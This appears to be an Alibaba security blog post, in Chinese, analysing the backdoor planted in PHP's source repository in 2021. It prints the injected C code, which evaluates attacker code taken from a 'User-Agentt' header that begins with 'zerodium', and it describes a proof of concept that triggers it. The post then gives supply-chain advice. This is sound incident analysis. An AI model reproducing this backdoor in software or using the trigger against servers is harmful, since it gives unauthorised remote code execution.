从PHP官方代码投毒事件看供应链安全

  • A+
所属分类:安全新闻
从PHP官方代码投毒事件看供应链安全

一. 前言

PHP作为目前主流的web服务器语言,目前在互联网占有60%以上的市场份额,作为服务器软件对安全的影响极大。3.28日发现一例PHP源码投毒事件,疑似git.php.net服务器被攻破,黑客进行了两次后门代码的提交,具体细节官方还在调查,已经将代码服务器迁移到了更加安全的github。后门代码逻辑是显而易见的,很快被作者发现,并将代码回滚。本文通过分析这个案例,引申介绍下目前日趋严峻的供应链安全问题。


二. POC

1、使用投毒的代码编译出一个php二进制版本,并部署到本地,在web目录下创建任意一个test.php.

2、执行下面的命令触发后门

从PHP官方代码投毒事件看供应链安全

3、执行结果

从PHP官方代码投毒事件看供应链安全


执行完这个命令,服务器/root目录下就创建了一个backdoor的文件。

通过这个后门黑客可以执行任意命令或php脚本,此例子就是通过system('touch /root/backdoor')函数调用执行了一个系统命令。 

更严重的是此后门可以通过请求你服务器上的任意php文件触发,攻击面非常大。通过这个后门作为入口,黑客很容易通过提权控制整台服务器,然后通过网络可以侵入到内网,继而掌握更多的控制权,为黑客行为提供了完美的跳板。


三. 技术分析

两次代码提交:

https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d

https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a


提交的代码:

zval *enc;

 

  if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER")))&&

    (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {

    convert_to_string(enc);

    if (strstr(Z_STRVAL_P(enc), "zerodium")) {

      zend_try {

        zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

      } zend_end_try();

    }

  }

代码比较简单粗暴,程序检测http头是否含有User-Agentt(不是User-Agent,多了一个t)。如果存在,判断它的值是否含有zerodium字符串,作为触发后门的“口令”。如果标示存在,从User-Agentt值的第8个字节起到结尾提取字符串作为代码(前8个字符为zerodium),进行编译执行,如同eval函数效果。


触发堆栈:

从PHP官方代码投毒事件看供应链安全


从堆栈看,当http请求发起后,调用各扩展的PHP_RINIT_FUNCTION函数,调用到了zlib扩展的函数,投毒代码就插到了此处,因此,只要是zlib模块加载,无论需不需要压缩,都会有机会触发此后门。由于触发需要“口令”,因此,对普通请求无任何影响,无从觉察,可以长期稳定的潜伏在服务端。


四. 事件分析

在此事件中,官方怀疑黑客攻陷了git.php.net服务器(原php官方代码服务器),以PHP作者的名义做了两次代码提交,从提交代码上看,作为后门隐蔽性很差,在php这么活跃的一个开源项目中,不可能没人发现。代码中含有"REMOVETHIS: sold to zerodium, mid 2017"字符串,作者查了一下zerodium是一个专门出售漏洞的网站,黑客大费周折放几句极易被发现的代码,大有蹭热度做广告的嫌疑。

从以上对此次投毒代码的分析,此后门攻击面非常大,影响非常严重,用户很难在使用中发现问题。如果代码的隐秘性加强一些,骗过代码review,很可能造成严重问题,试想一下,互联网上部署成千上万带有后门的机器,通过一条命令就可以控制远端服务器,开源项目还香吗?


从PHP官方代码投毒事件看供应链安全

借用一幅来自网上描述软件供应链的图,软件供应链是指从软件生产、软件发布,打包分发、安装的整个过程,我们经常使用的pip、yum、apt-get是软件供应链的出口,为用户提供了方便的使用方式。在它的前段还包括软件的生产,版本发布等,软件的投毒就是发生在生产环节,通过向代码仓库中提交恶意代码,通过作者发布打包,上传到前端,最终,安装到用户的机器上。一个带有恶意代码的发布版本由于各种原因(服务端缓存、用户不及时升级)可能造成长期的影响。


作为最终用户,我们防止供应链投毒主要要注意以下几点:

  1. 通过官方网站或者大的供应商店下载软件

  2. 能力允许尽量了解开源代码细节

  3. 及时查看官方更新,升级软件或打补丁

  4. 尽量不要使用个人fork的官方分支

  5. 尽量不要使用不知来源的软件或开源项目


从PHP官方代码投毒事件看供应链安全

公众号|阿里安全响应中心

Twitter|AsrcSecurity

和阿里巴巴一起,为数亿用户的安全保驾护航

本文始发于微信公众号(阿里安全响应中心):从PHP官方代码投毒事件看供应链安全

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: